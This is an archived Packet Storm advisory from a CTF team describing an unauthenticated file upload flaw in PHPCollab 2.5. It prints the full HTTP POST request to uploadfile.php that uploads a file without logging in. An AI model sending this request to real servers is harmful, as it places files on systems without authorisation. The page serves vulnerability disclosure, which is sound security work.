exploit the possibilities

PHPCollab 2.5 Unauthenticated File Upload

PHPCollab 2.5 Unauthenticated File Upload
Posted May 23, 2012
Authored by team ' and 1=1--

PHPCollab version 2.5 suffers from an unauthenticated file upload vulnerability.

tags | exploit, file upload
MD5 | 1b7459efe1a8274c10aa92fb7e82792b

PHPCollab 2.5 Unauthenticated File Upload

Change Mirror Download
# Exploit Title: phpcollab upload files without any authentication
# Date: 3/5/2012
# Author: team ' and 1=1--
# Software Link: http://www.phpcollab.com/
# Version: 2.5
# Vulnerability was found during the AthCon IT Security Conference CTF
# CTF Organizer: echothrust

During AthCon CTF the team ' and 1=1-- discovered that phpcollab
allows malicious users to upload files without any authentication on
the system by conducting the
following POST request:
POST
/phpcollab/projects_site/uploadfile.php?PHPSESSID=f2bb0a2008d0791d1ac45a8a3
8e51ed2&action=add&project=&task= HTTP/1.1
Host: 192.0.0.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1)
Gecko/20100101 Firefox/9.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
DNT: 1
Proxy-Connection: keep-alive
Cookie: PHPSESSID=6cvltmkam146ncp3hfbucumfk6
Referer: http://192.0.0.2/
Content-Type: multipart/form-data;
boundary=---------------------------19548990971636807826563613512
Content-Length: 29914

-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000000
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="maxCustom"


-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="commentsField"

Hello there
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="upload"; filename="filename.jpg"
Content-Type: image/jpeg
file data stripped
-----------------------------19548990971636807826563613512
Content-Disposition: form-data; name="submit"

Save
-----------------------------19548990971636807826563613512--

As an example we uploaded the following image on the web server:
http://192.0.0.2/phpcollab/files/1--stallowned.jpg
It must be noted that the application does not allow the uploading of php
files by checking the filename extension.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    10 Files
  • 23
    Apr 23rd
    22 Files
  • 24
    Apr 24th
    11 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close